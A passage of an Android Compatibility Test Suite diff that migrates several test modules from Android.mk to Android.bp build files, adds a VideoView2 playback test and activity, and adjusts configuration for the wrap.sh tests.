-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVoiceInteractionService
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/voiceinteraction/testapp/Android.bp b/tests/tests/voiceinteraction/testapp/Android.bp
new file mode 100644
index 0000000..0297f9d
--- /dev/null
+++ b/tests/tests/voiceinteraction/testapp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsVoiceInteractionApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["CtsVoiceInteractionCommon"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/voiceinteraction/testapp/Android.mk b/tests/tests/voiceinteraction/testapp/Android.mk
deleted file mode 100644
index 1c37e51..0000000
--- a/tests/tests/voiceinteraction/testapp/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVoiceInteractionApp
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/voicesettings/Android.bp b/tests/tests/voicesettings/Android.bp
new file mode 100644
index 0000000..cf3daad
--- /dev/null
+++ b/tests/tests/voicesettings/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsVoiceSettingsTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
deleted file mode 100644
index f81afaa..0000000
--- a/tests/tests/voicesettings/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVoiceSettingsTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/voicesettings/service/Android.bp b/tests/tests/voicesettings/service/Android.bp
new file mode 100644
index 0000000..8550417
--- /dev/null
+++ b/tests/tests/voicesettings/service/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsVoiceSettingsService",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/voicesettings/service/Android.mk b/tests/tests/voicesettings/service/Android.mk
deleted file mode 100644
index 0d86bf8..0000000
--- a/tests/tests/voicesettings/service/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVoiceSettingsService
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/webkit/Android.bp b/tests/tests/webkit/Android.bp
new file mode 100644
index 0000000..5896e8b
--- /dev/null
+++ b/tests/tests/webkit/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsWebkitTestCases",
+    defaults: ["cts_defaults"],
+    libs: [
+        "android.test.runner.stubs",
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestserver",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // uncomment when dalvik.annotation.Test* are removed or part of SDK
+    //sdk_version: "current"
+    platform_apis: true,
+}
diff --git a/tests/tests/webkit/Android.mk b/tests/tests/webkit/Android.mk
deleted file mode 100644
index 76231b0..0000000
--- a/tests/tests/webkit/Android.mk
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    org.apache.http.legacy \
-    android.test.base.stubs \
-
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctstestserver \
-    ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsWebkitTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# uncomment when dalvik.annotation.Test* are removed or part of SDK
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/widget/Android.bp b/tests/tests/widget/Android.bp
new file mode 100644
index 0000000..fb241bb
--- /dev/null
+++ b/tests/tests/widget/Android.bp
@@ -0,0 +1,44 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsWidgetTestCases",
+    defaults: ["cts_defaults"],
+
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.test.rules",
+        "mockito-target-minus-junit4",
+        "android-common",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "platform-test-annotations",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    // TODO: Move away from using hidden platform APIs b/72044662
+    platform_apis: true,
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+}
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
deleted file mode 100644
index 6020890..0000000
--- a/tests/tests/widget/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
-    androidx.annotation_annotation \
-    androidx.test.rules \
-    mockito-target-minus-junit4 \
-    android-common \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    platform-test-annotations
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsWidgetTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index d52f114..a6271fd 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -387,6 +387,15 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.VideoView2CtsActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="VideoView2CtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.widget.cts.AutoCompleteCtsActivity"
             android:label="AutoCompleteCtsActivity"
             android:screenOrientation="nosensor"
diff --git a/tests/tests/widget/res/layout/videoview2_layout.xml b/tests/tests/widget/res/layout/videoview2_layout.xml
new file mode 100644
index 0000000..9030e1b
--- /dev/null
+++ b/tests/tests/widget/res/layout/videoview2_layout.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <VideoView2
+        android:id="@+id/videoview"
+        android:layout_width="160dp"
+        android:layout_height="120dp"/>
+</LinearLayout>
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index 08e96fe..8e324c9 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -297,8 +297,8 @@
 
     <style name="TestProgressBar">
         <item name="android:indeterminateOnly">false</item>
-        <item name="android:progressDrawable">?android:drawable/progress_horizontal</item>
-        <item name="android:indeterminateDrawable">?android:drawable/progress_horizontal</item>
+        <item name="android:progressDrawable">@android:drawable/progress_horizontal</item>
+        <item name="android:indeterminateDrawable">@android:drawable/progress_horizontal</item>
         <item name="android:minHeight">20dip</item>
         <item name="android:maxHeight">20dip</item>
         <item name="android:focusable">true</item>
diff --git a/tests/tests/widget/src/android/widget/cts/OWNERS b/tests/tests/widget/src/android/widget/cts/OWNERS
index f8095fe..dd41f7f 100644
--- a/tests/tests/widget/src/android/widget/cts/OWNERS
+++ b/tests/tests/widget/src/android/widget/cts/OWNERS
@@ -1,7 +1 @@
-per-file TextView*.java = siyamed@google.com
-per-file TextView*.java = nona@google.com
-per-file TextView*.java = clarabayarri@google.com
-
-per-file EditText*.java = siyamed@google.com
-per-file EditText*.java = nona@google.com
-per-file EditText*.java = clarabayarri@google.com
+per-file TextView*.java, EditText*.java = siyamed@google.com, nona@google.com, clarabayarri@google.com
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
new file mode 100644
index 0000000..e20f24e
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.VideoView2;
+
+/**
+ * A minimal application for {@link VideoView2} test.
+ */
+public class VideoView2CtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.videoview2_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
new file mode 100644
index 0000000..05dd990
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static android.content.Context.KEYGUARD_SERVICE;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.mockito.Matchers.same;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.session.MediaController;
+import android.media.session.PlaybackState;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.VideoView2;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+/**
+ * Test {@link VideoView2}.
+ */
+@Ignore
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class VideoView2Test {
+    /** Debug TAG. **/
+    private static final String TAG = "VideoView2Test";
+    /** The maximum time to wait for an operation. */
+    private static final long   TIME_OUT = 15000L;
+    /** The interval time to wait for completing an operation. */
+    private static final long   OPERATION_INTERVAL  = 1500L;
+    /** The duration of R.raw.testvideo. */
+    private static final int    TEST_VIDEO_DURATION = 11047;
+    /** The full name of R.raw.testvideo. */
+    private static final String VIDEO_NAME   = "testvideo.3gp";
+    /** delta for duration in case user uses different decoders on different
+        hardware that report a duration that's different by a few milliseconds */
+    private static final int DURATION_DELTA = 100;
+    /** AudioAttributes to be used by this player */
+    private static final AudioAttributes AUDIO_ATTR = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_GAME)
+            .setContentType(AudioAttributes.CONTENT_TYPE_SONIFICATION)
+            .build();
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private KeyguardManager mKeyguardManager;
+    private VideoView2 mVideoView;
+    private MediaController mController;
+    private String mVideoPath;
+
+    @Rule
+    public ActivityTestRule<VideoView2CtsActivity> mActivityRule =
+            new ActivityTestRule<>(VideoView2CtsActivity.class);
+
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mKeyguardManager = (KeyguardManager)
+                mInstrumentation.getTargetContext().getSystemService(KEYGUARD_SERVICE);
+        mActivity = mActivityRule.getActivity();
+        mVideoView = (VideoView2) mActivity.findViewById(R.id.videoview);
+        mVideoPath = prepareSampleVideo();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Keep screen on while testing.
+            mActivity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+            mActivity.setTurnScreenOn(true);
+            mActivity.setShowWhenLocked(true);
+            mKeyguardManager.requestDismissKeyguard(mActivity, null);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        final View.OnAttachStateChangeListener mockAttachListener =
+                mock(View.OnAttachStateChangeListener.class);
+        if (!mVideoView.isAttachedToWindow()) {
+            mVideoView.addOnAttachStateChangeListener(mockAttachListener);
+            verify(mockAttachListener, timeout(TIME_OUT)).onViewAttachedToWindow(same(mVideoView));
+        }
+        mController = mVideoView.getMediaController();
+    }
+
+    @After
+    public void tearDown() throws Throwable {
+        /** call media controller's stop */
+    }
+
+    private boolean hasCodec() {
+        return MediaUtils.hasCodecsForResource(mActivity, R.raw.testvideo);
+    }
+
+    private String prepareSampleVideo() throws IOException {
+        try (InputStream source = mActivity.getResources().openRawResource(R.raw.testvideo);
+             OutputStream target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE)) {
+            final byte[] buffer = new byte[1024];
+            for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
+                target.write(buffer, 0, len);
+            }
+        }
+
+        return mActivity.getFileStreamPath(VIDEO_NAME).getAbsolutePath();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructor() {
+        new VideoView2(mActivity);
+        new VideoView2(mActivity, null);
+        new VideoView2(mActivity, null, 0);
+    }
+
+    @Test
+    public void testPlayVideo() throws Throwable {
+        // Don't run the test if the codec isn't supported.
+        if (!hasCodec()) {
+            Log.i(TAG, "SKIPPING testPlayVideo(): codec is not supported");
+            return;
+        }
+        final MediaController.Callback mockControllerCallback =
+                mock(MediaController.Callback.class);
+        mActivityRule.runOnUiThread(() -> {
+            mController.registerCallback(mockControllerCallback);
+            mVideoView.setVideoPath(mVideoPath);
+            mController.getTransportControls().play();
+        });
+        ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+        verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+                someState.capture());
+        List<PlaybackState> states = someState.getAllValues();
+        assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+        assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+        assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+    }
+
+    @Test
+    public void testPlayVideoOnTextureView() throws Throwable {
+        // Don't run the test if the codec isn't supported.
+        if (!hasCodec()) {
+            Log.i(TAG, "SKIPPING testPlayVideoOnTextureView(): codec is not supported");
+            return;
+        }
+        final VideoView2.OnViewTypeChangedListener mockViewTypeListener =
+                mock(VideoView2.OnViewTypeChangedListener.class);
+        final MediaController.Callback mockControllerCallback =
+                mock(MediaController.Callback.class);
+        mActivityRule.runOnUiThread(() -> {
+            mVideoView.setOnViewTypeChangedListener(mockViewTypeListener);
+            mVideoView.setViewType(mVideoView.VIEW_TYPE_TEXTUREVIEW);
+            mController.registerCallback(mockControllerCallback);
+            mVideoView.setVideoPath(mVideoPath);
+        });
+        verify(mockViewTypeListener, timeout(TIME_OUT))
+                .onViewTypeChanged(mVideoView, VideoView2.VIEW_TYPE_TEXTUREVIEW);
+
+        mActivityRule.runOnUiThread(() -> {
+            mController.getTransportControls().play();
+        });
+        ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+        verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+                someState.capture());
+        List<PlaybackState> states = someState.getAllValues();
+        assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+        assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+        assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+    }
+}
diff --git a/tests/tests/wrap/OWNERS b/tests/tests/wrap/OWNERS
new file mode 100644
index 0000000..6ea7640
--- /dev/null
+++ b/tests/tests/wrap/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+yabinc@google.com
diff --git a/tests/tests/wrap/TEST_MAPPING b/tests/tests/wrap/TEST_MAPPING
new file mode 100644
index 0000000..25b3a66
--- /dev/null
+++ b/tests/tests/wrap/TEST_MAPPING
@@ -0,0 +1,16 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsWrapNoWrapTestCases"
+    },
+    {
+      "name": "CtsWrapWrapNoDebugTestCases"
+    },
+    {
+      "name": "CtsWrapWrapDebugTestCases"
+    },
+    {
+      "name": "CtsWrapWrapDebugMallocDebugTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
index 50bb312..9ef027d 100644
--- a/tests/tests/wrap/nowrap/Android.mk
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -35,4 +35,6 @@
 # Jarjar to make WrapTest unique.
 LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 
+LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
+
 include $(BUILD_PACKAGE)
diff --git a/tests/tests/wrap/nowrap/AndroidManifest.xml b/tests/tests/wrap/nowrap/AndroidManifest.xml
index 04d6261..927f1ef 100644
--- a/tests/tests/wrap/nowrap/AndroidManifest.xml
+++ b/tests/tests/wrap/nowrap/AndroidManifest.xml
@@ -18,7 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.wrap.nowrap.cts">
 
-    <application android:debuggable="true">
+    <!-- Ensure that wrap.sh is extracted. -->
+    <application android:debuggable="true" android:extractNativeLibs="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.wrap.cts.expext_env" android:value="false" />
         <activity android:name="android.wrap.WrapActivity" >
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
index b80d4ee..4fa089e 100644
--- a/tests/tests/wrap/nowrap/AndroidTest.xml
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -17,6 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapNoWrapTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
index fbd4b8e..2b150bb 100644
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -42,6 +42,8 @@
 # Jarjar to make WrapTest unique.
 LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 
+LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
+
 include $(BUILD_PACKAGE)
 
 include $(CLEAR_VARS)
diff --git a/tests/tests/wrap/wrap_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
index 99eff43..b68aefb 100644
--- a/tests/tests/wrap/wrap_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
@@ -18,7 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.wrap.wrap_debug.cts">
 
-    <application android:debuggable="true">
+    <!-- Ensure that wrap.sh is extracted. -->
+    <application android:debuggable="true" android:extractNativeLibs="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.wrap.cts.expext_env" android:value="true" />
         <activity android:name="android.wrap.WrapActivity" >
diff --git a/tests/tests/wrap/wrap_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug/AndroidTest.xml
index 2b9cbe1..fbf3b5b 100644
--- a/tests/tests/wrap/wrap_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidTest.xml
@@ -17,6 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
